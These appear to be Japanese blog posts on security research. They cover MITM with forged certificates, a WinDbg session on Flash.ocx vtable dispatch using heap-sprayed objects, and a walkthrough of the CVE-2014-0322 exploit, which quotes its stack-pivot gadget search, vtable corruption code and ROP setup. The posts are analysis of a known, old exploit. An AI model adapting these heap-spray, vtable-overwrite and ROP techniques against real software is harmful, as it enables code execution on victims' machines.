同じ CN を持つ証明書を動的に作るというアイディアは、ルート証明書の課題があるとは言え、問題なく実装できそうです。自分の銀行のオンライン バンクのサイトが、どの認証局によって署名されているかなんて誰も知らないでしょうし。もし上記のような MITM 攻撃を受けると、クライアントからは、本来の認証局とは違う認証局の署名を持つ証明書を受け取ることになります。もちろん、OS にもともと入っているような真っ当な認証局であれば、証明書署名要求にある CN 名のドメインのオーナーの身分調査などをしっかり行うはずなので、既に存在する CN 名を持つ証明書には署名を行わないはずです。

ただし、多くのユーザーは SSL の仕組みや、サイトにアクセスしたときに出てくる証明書に関する警告メッセージの詳細なんて知りません。オンライン バンクにアクセスしたときに、信頼されていないルート証明書による署名が検出された、という警告が出たとして、構わず OK をクリックするユーザーは一定数いるはずです。万が一、有名な認証局の秘密鍵が盗まれたとすると、この攻撃手法が完全に有効になり、クライアント側からは MITM の有無を区別することは不可能になります。商用 CA やインターネットの世界でなくても、例えば企業の IT 部門に悪意あるものが侵入するということがあり得ます。企業が Active Directory を導入していれば、グループ ポリシーを少し弄って、自分の作ったルート証明書を配布してしまうことは可能です。

このように MITM は現在でもとても有効な攻撃手法です。例えば自分がカフェのオーナーだったとして、店舗に WiFi アクセスポイントを設置して、ルーターにちょこちょこっと細工をすれば簡単に MITM は実装できてしまいます。自分がオーナーじゃなくても、例えば企業内のどこかに置かれているルーターのところに行って、LAN ケーブルをささっと繋ぎ直して、おれおれルーターを設置する、ということも可能かもしれません。

セキュリティや IT の世界でも、情報の非対称性の存在が顕著だと言えそうです。(結論それか

Debugging Flash.ocx

ActionScript のオブジェクトについて少しデバッグしてみたので、そこで得られた結果などを紹介します。

まずは前回の続きです。Exploit が使っている C394 という Stack Pivot のコードの代わりに、デバッグ ブレークが発生するように CCCC という命令を選んで vtable を書き換え、得られたブレークがこれでした。

0:005> r
eax=1a001018 ebx=028eb8e0 ecx=241ff020 edx=07f3df20 esi=70185d60 edi=07fce810
eip=6f8e1fc8 esp=028eb830 ebp=028eb838 iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00200200
Flash+0x1fc8:
6f8e1fc8 cc              int     3
0:005> dd esp
028eb830  70158fc5 07faeec8 028eb844 70185d70
028eb840  241ff021 028eb8a0 7019dd98 07faeec8
028eb850  00000001 028eb8e0 07fce810 07faeec8
028eb860  08340fa0 00000000 00000000 07fce810
028eb870  07faeec8 08046600 028eb8e8 00000000
028eb880  00000000 00000000 00000000 00000000
028eb890  00000000 00000007 00000000 ad5aa7aa
028eb8a0  028eb8c0 7019eb48 07faeec8 00000001
0:005> ub 70158fc5
Flash!IAEModule_AEModule_PutKernel+0x2b68d2:
70158fb2 2407            and     al,7
70158fb4 3c01            cmp     al,1
70158fb6 7512            jne     Flash!IAEModule_AEModule_PutKernel+0x2b68ea (70158fca)
70158fb8 83f904          cmp     ecx,4
70158fbb 720d            jb      Flash!IAEModule_AEModule_PutKernel+0x2b68ea (70158fca)
70158fbd 83e1f8          and     ecx,0FFFFFFF8h
70158fc0 8b01            mov     eax,dword ptr [ecx]
           <<<<<<<< ecx: Sound object, eax: vtable
70158fc2 ff5078          call    dword ptr [eax+78h]
           <<<<<<<< calling Sound.toString() 
0:005> dd ecx l8
241ff020  1a001018 400000ff 0832ef38 08355d60
241ff030  00000000 00000000 083a23b0 00000000
0:005> dd 1a001018
1a001018  768d5994 1a001c08 1a001000 00004000
1a001028  00000040 1a002000 6f8e1fc8 6f8e1fc8
1a001038  6f8e1fc8 6f8e1fc8 6f8e1fc8 6f8e1fc8
1a001048  6f8e1fc8 6f8e1fc8 6f8e1fc8 6f8e1fc8
1a001058  6f8e1fc8 6f8e1fc8 6f8e1fc8 6f8e1fc8
1a001068  6f8e1fc8 6f8e1fc8 6f8e1fc8 6f8e1fc8
1a001078  6f8e1fc8 6f8e1fc8 6f8e1fc8 6f8e1fc8
1a001088  6f8e1fc8 6f8e1fc8 6f8e1fc8 6f8e1fc8
0:005> ln 768d5994
(768d5994)   kernel32!VirtualProtectStub   |  (768d59a5)   kernel32!VirtualProtectExStub
Exact matches:
    kernel32!VirtualProtectStub (<no parameter info>)
 

AVM2 (ActionScript) 上での Sound .toString() が、CPU 上では仮想テーブルを eax に入れたうえで call ptr [eax+78] を実行するような indirect call になっているので、Stack Pivot によって eip と esp を同時に乗っ取ることができるのでした。

以前紹介した以下のブログ記事に "In the exploit found in the wild, a Sound() object was used. I also chose to use it but it is possible to use any other object as long as you can control it." という記述があり、Sound オブジェクトは既に exploit された実績があり、既知の情報として業界では有名なのかもしれません。

HDW Sec – Blog
http://hdwsec.fr/blog/CVE-2014-0322.html

知識として知っておくだけでも知らないよりは随分と違いますが、何もないところからどうやって見つけてくるのか、という方法を知りたいところです。そこで、exploit で使われていた Heap Spray のテクニックを応用してデバッグしてみました。

まずは ActionScript を書きます。

package {
  import flash.display.Sprite;
  import flash.events.*;
  import flash.media.*;
  import flash.printing.*;
  import flash.system.fscommand;
  import flash.utils.*;
  import flash.xml.*;

  public class Main extends Sprite {
    public var mTimer:Timer;
    public var mCounter:int;

    public function Main():void {
      this.mCounter = 0;
      this.mTimer = new Timer(1000, 3600);
      this.mTimer.addEventListener("timer", this.timerHandler);
      this.mTimer.start();

      buildBuffer();
    }

    public var mSound:Sound;
    public var mPrint:PrintJob;
    public var mXmlDoc:XMLDocument;
    public var mXml:XML;

    public var mSounds:Vector.<Object>;
    public var mPrints:Vector.<Object>;
    public var mXmlDocs:Vector.<Object>;
    public var mXmls:Vector.<Object>;

    public function buildBuffer():void {
      this.mSound = new Sound();
      this.mPrint = new PrintJob();
      this.mXmlDoc = new XMLDocument();
      this.mXml = <books>
        <book publisher="Addison-Wesley" name="Design Patterns" />
        <book publisher="Addison-Wesley" name="The Pragmatic Programmer" />
        <book publisher="Addison-Wesley" name="Test Driven Development" />
        <book publisher="Addison-Wesley" name="Refactoring to Patterns" />
        <book publisher="O'Reilly Media" name="The Cathedral & the Bazaar" />
        <book publisher="O'Reilly Media" name="Unit Test Frameworks" />
        </books>;

      var i:int = 0;
      var j:int = 0;
      var len0:int = 0x123;

      var len1:int = 0x1234;
      var len2:int = 0x5678;
      var len3:int = 0x4321;
      var len4:int = 0x4444;

      this.mSounds = new Vector.<Object>(len0);
      this.mPrints = new Vector.<Object>(len0);
      this.mXmlDocs = new Vector.<Object>(len0);
      this.mXmls = new Vector.<Object>(len0);

      for ( i = 0  i < len0  ++i ) {
        this.mSounds[i] = new Vector.<Object>(len1);
        for ( j = 0  j < len1  ++j ) {
          this.mSounds[i][j] = this.mSound;
        }

        this.mPrints[i] = new Vector.<Object>(len2);
        for ( j = 0  j < len2  ++j ) {
          this.mPrints[i][j] = this.mPrint;
        }

        this.mXmlDocs[i] = new Vector.<Object>(len3);
        for ( j = 0  j < len3  ++j ) {
          this.mXmlDocs[i][j] = this.mXmlDoc;
        }

        this.mXmls[i] = new Vector.<Object>(len4);
        for ( j = 0  j < len4  ++j ) {
          this.mXmls[i][j] = this.mXml;
        }
      }

      trace("ready.");
    }

    public function hex(n:uint) : String {
      var s:String = n.toString(16);
      while( s.length < 8 ) {
        s = '0' + s;
      }
      return s;
    }

    public function timerHandler(param1:TimerEvent) : void {
      trace("+ENTER timerHandler: " + hex(mCounter += 1000));

      trace("calling Sound.toString()...");
      mSound.toString();

      trace("calling PrintJob.willTrigger()...");
      mPrint.willTrigger('jugemujugemu!');

      trace("calling XMLDocument.parseXML()...");
      mXmlDoc.parseXML('namuamidabutu');

      trace("calling XML.descendants()...");
      mXml.descendants('hoge');
    }
  }
}

HTML も書きます。例によって embed タグの間に空白を入れています。

<!DOCTYPE html>
<html>
<head></head>
<body>
<p>welcome to heapspray</p>
<em bed src="heapspray.swf" width="50" height="50"></em bed>
</body>
</html>

ActionScript をコンパイルして、得られた swf ファイルと HTML を適当な Web サーバーにデプロイします。今回スプレーしたオブジェクト、配列の長さ、試すメソッドは以下の 4 種類です。全部適当に選んでいます。

  • Sound | length = 0x1234 | method = toString()
  • PrintJob | length = 0x5678 | method = willTrigger(type:String)
  • XMLDocument | length = 0x4321 | method = parseXML(source:String)
  • XML | length = 0x4444 | method = descendants(name:*)

今回は最新の環境でデバッグを行います。Flash Player はデバッグ機能がないものを使いました。

  • OS: Windows 8.1 x64 with Update 1
  • Browser: IE11 32bit + KB2977629 (Sep. 2014 Update)
  • Flash Player: 15.0

やろうとすることは単純で、配列の長さの情報をメモリ上で検索してオブジェクトへのアドレスを見つけ、仮想テーブルのアドレスに対して read のアクセス ブレークポイントを設定するだけです。

まずは Sound.toString() から。狙い通りのところでブレークしました。Exploit のときは [eax+78] でしたが、今回は [eax+70] のアドレスを call するようです。Exploit では Windows 8 用のデバッグ機能付きの flash.ocx を使っており、環境が違うとvtable 上のオフセットも変わるということでしょう。Exploit の中で、狙っているメソッドを決め打ちしにいくメリットはあまりなく、広範囲にわたって vtable 書き換えるのが現実的なようです。

0:035> lmvm flash
start    end        module name
6fd20000 70f43000   Flash      (deferred)             
    Image path: C:\Windows\SysWOW64\Macromed\Flash\Flash.ocx
    Image name: Flash.ocx
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    CompanyName:      Adobe Systems, Inc.
    ProductName:      Shockwave Flash
    InternalName:     Adobe Flash Player 15.0
    OriginalFilename: Flash.ocx
    ProductVersion:   15,0,0,167
    FileVersion:      15,0,0,167
    FileDescription:  Adobe Flash Player 15.0 r0
    LegalCopyright:   Adobe? Flash? Player. Copyright ? 1996-2014 Adobe Systems Incorporated. All Rights Reserved. Adobe and Flash are either trademarks or registered trademarks in the United States and/or other countries.
    LegalTrademarks:  Adobe Flash Player

0:021> s -d 00000000 l1000000 00001234
03537dc0  00001234 03209010 03204100 724b2e6d  4..... ..A .m.Kr
036ebd58  00001234 000003a8 000004e4 00000000  4...............
0:021> s -d 04000000 l1000000 00001234
04983508  00001234 000000f0 00001244 00000834  4.......D...4...
049835c0  00001234 000000f0 00001244 00000834  4.......D...4...
049860e0  00001234 00002104 000016b4 00000834  4....!......4...
04986250  00001234 00002104 000016b4 00000834  4....!......4...
(snip)
0:021> s -d 08000000 l1000000 00001234
0800aac8  00001234 12350000 12371236 12380000  4.....5.6.7...8.
09f69024  00001234 0a0e2021 0a0e2021 0a0e2021  4...! ..! ..! ..
09f72024  00001234 0a0e2021 0a0e2021 0a0e2021  4...! ..! ..! ..
09f7f024  00001234 0a0e2021 0a0e2021 0a0e2021  4...! ..! ..! ..
09f8e024  00001234 0a0e2021 0a0e2021 0a0e2021  4...! ..! ..! ..
0a00d024  00001234 0a0e2021 0a0e2021 0a0e2021  4...! ..! ..! ..
0:021> ba r4 0a0e2020
0:021> g
Breakpoint 0 hit
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\Windows\SysWOW64\Macromed\Flash\Flash.ocx - 
eax=70a24b14 ebx=00000000 ecx=0a0e2020 edx=09d54040 esi=0a042f10 edi=09c3f810
eip=704bae52 esp=02a3bf70 ebp=02a3bf74 iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00200202
Flash!IAEModule_AEModule_PutKernel+0x1ec142:
704bae52 ff5070          call    dword ptr [eax+70h]  ds:002b:70a24b84=c04d4b70
0:002> ub .
Flash!IAEModule_AEModule_PutKernel+0x1ec130:
704bae40 8bc1            mov     eax,ecx
704bae42 2407            and     al,7
704bae44 3c01            cmp     al,1
704bae46 7512            jne     Flash!IAEModule_AEModule_PutKernel+0x1ec14a (704bae5a)
704bae48 83f904          cmp     ecx,4
704bae4b 720d            jb      Flash!IAEModule_AEModule_PutKernel+0x1ec14a (704bae5a)
704bae4d 83e1f8          and     ecx,0FFFFFFF8h
704bae50 8b01            mov     eax,dword ptr [ecx]
0:002> u .
Flash!IAEModule_AEModule_PutKernel+0x1ec142:
704bae52 ff5070          call    dword ptr [eax+70h]
704bae55 5f              pop     edi
704bae56 5d              pop     ebp
704bae57 c20400          ret     4
704bae5a 56              push    esi
704bae5b 51              push    ecx
704bae5c 8b4a04          mov     ecx,dword ptr [edx+4]
704bae5f e83cfbfeff      call    Flash!IAEModule_AEModule_PutKernel+0x1dbc90 (704aa9a0)

では次のメソッド、PrintJob.willTrigger です。

0:016> s -d 08000000 l1000000 00005678
0a147024  00005678 09c0e859 09c0e859 09c0e859  xV..Y...Y...Y...
0a403024  00005678 09c0e859 09c0e859 09c0e859  xV..Y...Y...Y...
0a43c024  00005678 09c0e859 09c0e859 09c0e859  xV..Y...Y...Y...
0a488024  00005678 09c0e859 09c0e859 09c0e859  xV..Y...Y...Y...
0a4c1024  00005678 09c0e859 09c0e859 09c0e859  xV..Y...Y...Y...

0:016> ba r4 09c0e858
0:016> g
Breakpoint 0 hit
eax=70a23af4 ebx=09c3f810 ecx=09c0e858 edx=09c0e858 esi=09c0e858 edi=09c0e859
eip=7014f13b esp=02a3c0c0 ebp=02a3c0d4 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00200246
Flash!DllUnregisterServer+0x9b45b:
7014f13b ff750c          push    dword ptr [ebp+0Ch]  ss:002b:02a3c0e0=01000000

0:002> ub .
Flash!DllUnregisterServer+0x9b447:
7014f127 83cf01          or      edi,1
7014f12a 8bc8            mov     ecx,eax
7014f12c 8bd7            mov     edx,edi
7014f12e e8dd903500      call    Flash!IAEModule_AEModule_PutKernel+0x1d9500 (704a8210)
7014f133 8bce            mov     ecx,esi
7014f135 84c0            test    al,al
7014f137 7519            jne     Flash!DllUnregisterServer+0x9b472 (7014f152)
7014f139 8b06            mov     eax,dword ptr [esi]
0:002> u .
Flash!DllUnregisterServer+0x9b45b:
7014f13b ff750c          push    dword ptr [ebp+0Ch]
7014f13e ff7508          push    dword ptr [ebp+8]
7014f141 8b808c000000    mov     eax,dword ptr [eax+8Ch]
7014f147 ffd0            call    eax

7014f149 5f              pop     edi
7014f14a 5e              pop     esi
7014f14b 5b              pop     ebx
7014f14c 8be5            mov     esp,ebp

こちらもヒットしました。vtable の +8C のところにあるアドレスを実行しています。しかし、これは同じ方法で exploit に使うことはできません。indirect call ではあるのですが、eax+8C にある関数のアドレスを一度 eax に代入してから call しているので、eax と esp 交換するだけの Stack Pivot では esp を乗っ取ることができません。仮想テーブルのアドレスが esi に残っているので、これを使えば何とか、というところですが・・・esi を参照して eax などのレジスターに入れてから esp と交換、するようなコードを見つけることができれば使えます。

次のクラスに移る前に、もう少し調べてみたいことがあります。ActionScript 上の willTrigger は String クラスの引数を 1 つ取ります。アセンブリを見ると、call の前に 2 回 push しているので、vtable+8C は引数を 2 つ取る関数のように見えます。call までステップ オーバーしてスタックの中身を見ます。

eax=70a23af4 ebx=09c3f810 ecx=09c0e858 edx=09c0e858 esi=09c0e858 edi=09c0e859
eip=7014f13b esp=02a3c0c0 ebp=02a3c0d4 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00200246
Flash!DllUnregisterServer+0x9b45b:
7014f13b ff750c          push    dword ptr [ebp+0Ch]  ss:002b:02a3c0e0=01000000
0:002> p
eax=70a23af4 ebx=09c3f810 ecx=09c0e858 edx=09c0e858 esi=09c0e858 edi=09c0e859
eip=7014f13e esp=02a3c0bc ebp=02a3c0d4 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00200246
Flash!DllUnregisterServer+0x9b45e:
7014f13e ff7508          push    dword ptr [ebp+8]    ss:002b:02a3c0dc=b8cc0b0a
0:002> 
eax=70a23af4 ebx=09c3f810 ecx=09c0e858 edx=09c0e858 esi=09c0e858 edi=09c0e859
eip=7014f141 esp=02a3c0b8 ebp=02a3c0d4 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00200246
Flash!DllUnregisterServer+0x9b461:
7014f141 8b808c000000    mov     eax,dword ptr [eax+8Ch] ds:002b:70a23b80=20e81470
0:002> 
eax=7014e820 ebx=09c3f810 ecx=09c0e858 edx=09c0e858 esi=09c0e858 edi=09c0e859
eip=7014f147 esp=02a3c0b8 ebp=02a3c0d4 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00200246
Flash!DllUnregisterServer+0x9b467:
7014f147 ffd0            call    eax {Flash!DllUnregisterServer+0x9ab40 (7014e820)}
0:002> dd esp
02a3c0b8  0a0bccb8 00000001 09c0e858 0a0bccb8
02a3c0c8  09c3f810 704b384d 09c3000a 02a3c0fc
02a3c0d8  70152897 0a0bccb8 00000001 02a3c0f4
02a3c0e8  09ba2fc0 02a3c2e0 09c3f810 0a120c70
02a3c0f8  9d5b780c 02a3c108 70195a40 0a0bccb8
02a3c108  02a3c158 0a0f41c8 0a075ef8 00000001
02a3c118  02a3c138 0a0f4179 00000011 00000000
02a3c128  0a0dd080 00005208 0a0d80ac 0a0dd080
0:002> dd 0a0bccb8
0a0bccb8  70a8b9fc 40000002 09c8e7a4 00000000
0a0bccc8  0000000d 0000001a 70a8b9fc 40000002
0a0bccd8  09c8e782 00000000 00000021 0000001a
0a0bcce8  70a8b9fc 40000002 09c8e766 00000000
0a0bccf8  0000001b 0000001a 70a8b9fc 40000002
0a0bcd08  09c8e74c 00000000 00000015 0000001a
0a0bcd18  70a8cbe4 00000017 09fed1f0 0a0bcd30
0a0bcd28  09bb1c91 20000001 70a8cbe4 00000003
0:002> dd 70a8b9fc
70a8b9fc  70490070 70491f70 704931c0 7064d0cb
70a8ba0c  704bb7f0 70494050 6ff39720 704943a0
70a8ba1c  70494310 70494330 704946f0 6ff39ad0
70a8ba2c  6fe3a620 70494290 6ff39720 704943a0
70a8ba3c  70494310 70494330 70494700 70494900
70a8ba4c  704944e0 70496190 70494180 70494c60
70a8ba5c  7064d0cb 70495600 6fdc66e0 7064d0cb
70a8ba6c  702e65f0 70495e20 704957d0 6ff50820
0:002> db 09c8e7a4
09c8e7a4  6a 75 67 65 6d 75 6a 75-67 65 6d 75 21 0b 77 69  jugemujugemu!.wi
09c8e7b4  6c 6c 54 72 69 67 67 65-72 21 63 61 6c 6c 69 6e  llTrigger!callin
09c8e7c4  67 20 58 4d 4c 44 6f 63-75 6d 65 6e 74 2e 70 61  g XMLDocument.pa
09c8e7d4  72 73 65 58 4d 4c 28 29-2e 2e 2e 0d 6e 61 6d 75  rseXML()....namu
09c8e7e4  61 6d 69 64 61 62 75 74-75 08 70 61 72 73 65 58  amidabutu.parseX
09c8e7f4  4d 4c 1c 63 61 6c 6c 69-6e 67 20 58 4d 4c 2e 64  ML.calling XML.d
09c8e804  65 73 63 65 6e 64 61 6e-74 73 28 29 2e 2e 2e 04  escendants()....
09c8e814  68 6f 67 65 0b 64 65 73-63 65 6e 64 61 6e 74 73  hoge.descendants

最初に push されていたのは 1 なので、これは無視するとして、第一引数はオブジェクトの参照のように見えます。実際に参照先をダンプすると、オフセット +0 は vtable で、明らかに何かのクラスです。+8 のところにあるアドレスをダンプしてみると、引数として与えた " jugemujugemu!" という文字を指していました。ということで第一引数は ActionScript 上の引数である String オブジェクトと同等のものが渡されていると考えてもよさそうです。

さて次のメソッド、XMLDocument.parseXML。vtable らしき構造はあるのにブレークせず。何かコードがまずいのだろうか。よく分からないのでパス。

0:014> s -d 08000000 l1000000 00004321
0a3e0024  00004321 0a131041 0a131041 0a131041  !C..A...A...A...
0a419024  00004321 0a131041 0a131041 0a131041  !C..A...A...A...
0a452024  00004321 0a131041 0a131041 0a131041  !C..A...A...A...
0a475024  00004321 0a131041 0a131041 0a131041  !C..A...A...A...
0a49e024  00004321 0a131041 0a131041 0a131041  !C..A...A...A...
0a4d7024  00004321 0a131041 0a131041 0a131041  !C..A...A...A...
0:014> ba r4 0a131040
0:014> g

ヒットせず・・・

最後、XML.descendants。

0:013> s -d 08000000 l1000000 00004444
08288f14  00004444 00004a44 00005044 00005644  DD..DJ..DP..DV..
0a3f1024  00004444 0a045941 0a045941 0a045941  DD..AY..AY..AY..
0a42a024  00004444 0a045941 0a045941 0a045941  DD..AY..AY..AY..
0a463024  00004444 0a045941 0a045941 0a045941  DD..AY..AY..AY..
0a4af024  00004444 0a045941 0a045941 0a045941  DD..AY..AY..AY..
0a4e8024  00004444 0a045941 0a045941 0a045941  DD..AY..AY..AY..
0a529024  00004444 0a045941 0a045941 0a045941  DD..AY..AY..AY..
0:013> ba r4 0a045940
0:013> g
Breakpoint 0 hit
eax=70a8c930 ebx=09c3f810 ecx=09b9b240 edx=00000010 esi=0a045940 edi=09ba2fc0
eip=704b0d11 esp=02a3c0dc ebp=02a3c0f4 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00200246
Flash!IAEModule_AEModule_PutKernel+0x1e2001:
704b0d11 8d4dec          lea     ecx,[ebp-14h]
0:002> ub .
Flash!IAEModule_AEModule_PutKernel+0x1e1fea:
704b0cfa 8945f4          mov     dword ptr [ebp-0Ch],eax
704b0cfd 8945f8          mov     dword ptr [ebp-8],eax
704b0d00 8d45ec          lea     eax,[ebp-14h]
704b0d03 8b4904          mov     ecx,dword ptr [ecx+4]
704b0d06 50              push    eax
704b0d07 ff7508          push    dword ptr [ebp+8]
704b0d0a e8417bffff      call    Flash!IAEModule_AEModule_PutKernel+0x1d9b40 (704a8850)
704b0d0f 8b06            mov     eax,dword ptr [esi]
0:002> u .
Flash!IAEModule_AEModule_PutKernel+0x1e2001:
704b0d11 8d4dec          lea     ecx,[ebp-14h]
704b0d14 51              push    ecx
704b0d15 8bce            mov     ecx,esi
704b0d17 ff500c          call    dword ptr [eax+0Ch]
704b0d1a 50              push    eax
704b0d1b e82007ffff      call    Flash!IAEModule_AEModule_PutKernel+0x1d2730 (704a1440)
704b0d20 8b4dfc          mov     ecx,dword ptr [ebp-4]
704b0d23 83c404          add     esp,4

今度は狙い通りブレーク。call も関数のアドレスをレジスタに入れることなく、そのまま call ptr [eax+c] しているところはよいのですが、オフセットの +C というのは小さすぎて使えない気がします。

それにしても、ちょうどいいメソッドを見つけるのは難しいものです。なんだかんだ素直に Sound.toString() を使うのが最良の選択といったところ。しかし、アクセス ブレークポイントを使ってある程度はデバッガーから Flash オブジェクトの動きを探れないこともなさそうです。頑張れば解析ツールを書くことも技術的には可能か・・・。

Deep Dive into Exploit of Use-After-Free Vulnerability – 4

これまでの記事で、CVE-2014-0322 の脆弱性、それを利用してメモリの制御が可能になり、ASLR を回避して flash.ocx のベースアドレスと VirtualProtect API のアドレスを入手しました。残っている ActionScript のコードは、getSP とbuildPayload の 2 つだけです。

3. eip/esp の乗っ取りと ROP chain

既に何度も言及していますが、getSP は、flash.ocx のコード領域 (.text セクション) から、0xC394 という WORD のある場所を見つけます。これの意味を理解するためには、そもそも実現しようとしている ROP の全体像を掴む必要があります。その全体像を示したものが、スライドにも含めているこの図です。

rop

0xC394 というのは、アセンブリ言語に換算すると xchg eax,esp; ret という 2 つの命令です。ROP の中でこれを実行したいのです。DEP があるので、実行可能なページ上の 0xC394 を見つける必要があり、既にイメージベースを知っている flash.ocx の実行可能な領域である .text セクションから適当に探し出してくるのが getSP という関数です。ActionScript によると、この C394 のことを Stack Pivot と呼んでいるようです。デバッグしている環境の flash.ocx は v14.0 で、exploit を実行すると RVA=0x3c8cc のところの c394 が使われます。この箇所には、どこからともなくいきなり制御が飛んできて ret ですぐにまたどこかへ行ってしまうので、読み位置が違っていたり、その前後のデータがどうなっていようと影響はありません。

flash.ocx のコード領域に c394 が含まれているのは全くの偶然であって、ひょっとすると別バージョンの flash.ocx には c394 という連続した 2 バイトが全く含まれていない可能性もあります。その場合は、ActionScript 側で他のイメージの実行可能な領域に c394 があるかどうかを探す必要があります。といってもたったの 2 バイトなので、その可能性は著しく低いはずです。

0:028> u 700fc8cc
Flash+0x3c8cc:
700fc8cc 94              xchg    eax,esp
700fc8cd c3              ret
700fc8ce 0f7099c30f709ec3 pshufw  mm3,mmword ptr [ecx-618FF03Dh],0C3h
700fc8d6 0f70cccc        pshufw  mm1,mm4,0CCh
700fc8da cc              int     3
700fc8db cc              int     3

では getSP のコードを見ていきます。まず、timerHandler から呼ばれるときに第三引数としてvtableobj-k が渡されます。これは前回の getFlashBaseAddr 関数のところで触れたように、引き算の結果が flash.ocx のベースアドレスそのものになります。一方の第一引数は、そのベースアドレスにアクセスするための this.s[index] のインデックスです。

/* Find .text */
peindex = this.s[index][baseflashaddr_off+0x3C/4];
sn = this.s[index][baseflashaddr_off+peindex/4+1] >> 16;

上記 2 行のうち、peindex の方は、getK32Index を呼ぶ直前と同様で、ntdll!_IMAGE_DOS_HEADER::e_lfanew、すなわち flash.ocx の PE ヘッダーへのオフセットです。次に、PE ヘッダーから +4 = 1*sizeof(uint) のところにある uint を 16 ビット右シフトしています。つまり、PE ヘッダーから +6 のところにある WORD 値を取ってくるのと同じなので、sn にはntdll!_IMAGE_FILE_HEADER:: NumberOfSections が入ります。

0:028> dt ntdll!_IMAGE_NT_HEADERS FileHeader.NumberOfSections
   +0x004 FileHeader                  :
      +0x002 NumberOfSections            : Uint2B

次の条件式はこうなっています。

this.s[index][baseflashaddr_off+peindex/4+0xF8/4+(sec*0x28)/4] == 0x7865742E
  && this.s[index][baseflashaddr_off+peindex/4+0xF8/4+(sec*0x28)/4+1] == 0x74

PE ヘッダーからオフセット f8 のところを参照しています。ちょうどsizeof(ntdll!_IMAGE_NT_HEADERS) が 0xf8 なので、参照しているのは _IMAGE_OPTIONAL_HEADER の直後です。http://msdn.microsoft.com/en-us/magazine/ms809762.aspx によると、そこにはIMAGE_SECTION_HEADER の配列があると書かれています。配列の定義は SDK の winnt.h から引用すると以下の通りです。

#define IMAGE_SIZEOF_SHORT_NAME              8

typedef struct _IMAGE_SECTION_HEADER {
    BYTE    Name[IMAGE_SIZEOF_SHORT_NAME];
    union {
            DWORD   PhysicalAddress;
            DWORD   VirtualSize;
    } Misc;
    DWORD   VirtualAddress;
    DWORD   SizeOfRawData;
    DWORD   PointerToRawData;
    DWORD   PointerToRelocations;
    DWORD   PointerToLinenumbers;
    WORD    NumberOfRelocations;
    WORD    NumberOfLinenumbers;
    DWORD   Characteristics;
} IMAGE_SECTION_HEADER, *PIMAGE_SECTION_HEADER;

#define IMAGE_SIZEOF_SECTION_HEADER          40

比較に使われているのは IMAGE_SECTION_HEADER の先頭なので、どうやらセクションの名前のようです。そこで右辺を ascii 文字に変換すると・・".text" という文字を探していることが分かります。.text セクションとは、コード領域のことです。

PS D:\MSWORK> [System.Text.Encoding]::ASCII.GetString([System.BitConverter]::GetBytes(0x7865742E))
.tex
PS D:\MSWORK> [System.Text.Encoding]::ASCII.GetString([System.BitConverter]::GetBytes(0x74))
t

_IMAGE_SECTION_HEADER のサイズを数えると 40=0x28 バイトになるので、sec という変数はセクションのインデックスになります。ここまでで flash.ocx のコード領域の情報が得られました。

virtualAddr = this.s[index][baseflashaddr_off+peindex/4+0xF8/4+(sec*0x28)/4+3];
virtualSize = this.s[index][baseflashaddr_off+peindex/4+0xF8/4+(sec*0x28)/4+2];

次の 2 行では、_IMAGE_SECTION_HEADER ヘッダー内のオフセット 3*sizeof(uint)、2*sizeof(uint) の値を取っています。これはそれぞれ変数の名前の通り VirtualAddress と VirtualSizeになりそうです。

次のループでは、いよいよコード領域内の探索に移ります。開始アドレスと領域のサイズが分かっているので、その中で C394 があるかどうかをチェックするだけです。ただし、DWORD 境界にない C394 も探すため、4 通りの読み位置でそれぞれ if 文を実行しています。この関数は戻り値として配列のインデックスではなく、アドレスそのものを返します。

これで C394 が取得できました。C394 を実行すると、最初の命令で eax と esp の値が交換され、そのままリターンします。が、ret のときに何のアドレスに飛ぶのかがとても重要です。x86 での ret は、スタックを pop して eip に入れるという動作を行います。スタックとは、もちろん esp レジスターが指すアドレスです。そして esp の内容は直前の xchg によって変更されています。つまり ret を実行すると、xchg に飛んできたときに eax が指していたアドレスにあるアドレスにジャンプします。

x86 命令の仕様は Intel のマニュアルがとても親切です。

Intel® 64 and IA-32 Architectures Software Developer Manuals
http://www.intel.com/content/www/us/en/processors/architectures-software-developer-manuals.html

ここまでで面白いことをしている感じはありますが、未だ全体像は見えてきません。次のポイントは、ActionScript からどうやって ROP を始めるか、という点です。今回の例では、ActionScript の Sound.toString() メソッドを実行することで ROP が始まります。コードでいうと、timerHandler() 関数の最後にある this.sound.toString(); というのがそれです。なぜそんなことが起こるかといえば、buildPayload() 関数の中で、事前に Sound オブジェクトの vtable を改竄しているためです。

これまでに何度も vtable という単語を使ってきましたが、これは仮想関数の動作を実現するためにコンパイラーが生成するデータ構造の一種です。詳細は以下の wiki を参照して下さい。

Virtual method table – Wikipedia, the free encyclopedia
http://en.wikipedia.org/wiki/Virtual_method_table

では最後に残った関数 buildPayload() を見ます。前半部分が、コメントにもあるように Sound オブジェクトの vtable を書き換えている部分です。

/* Corrupt sound object vtable ptr */
while (1) {
  if (this.s[index][j] == 0x00010c00 && this.s[index][j+0x09] == 0x1234) {
    soundobjref = this.s[index][j+0x0A];
    dec = soundobjref-cvaddr-1;
    this.s[index][dec/4-2] = cvaddr+2*4+4*4;
    break;
  }

  j++;
}

比較式の定数は、ともに見覚えがあります。0x00010c00 はベースアドレスを検索するときに最初に出てきました。0x1234 は、init_heap() で作った Sound オブジェクトの配列の長さです。0x00010c00 の意味が全く分からないのですが、0x00010c00 のある場所から 9*4=0x24 バイト目に配列の長さがある箇所を探しています。これをデバッガーで探します。といっても同時に 0x00010c00 と 0x00001234 は探せないので 1234 から。

0:028> s -d 1a000000 l1000000 0x00001234
0:028> s -d 1e000000 l1000000 0x00001234
0:028> s -d 22000000 l1000000 0x00001234
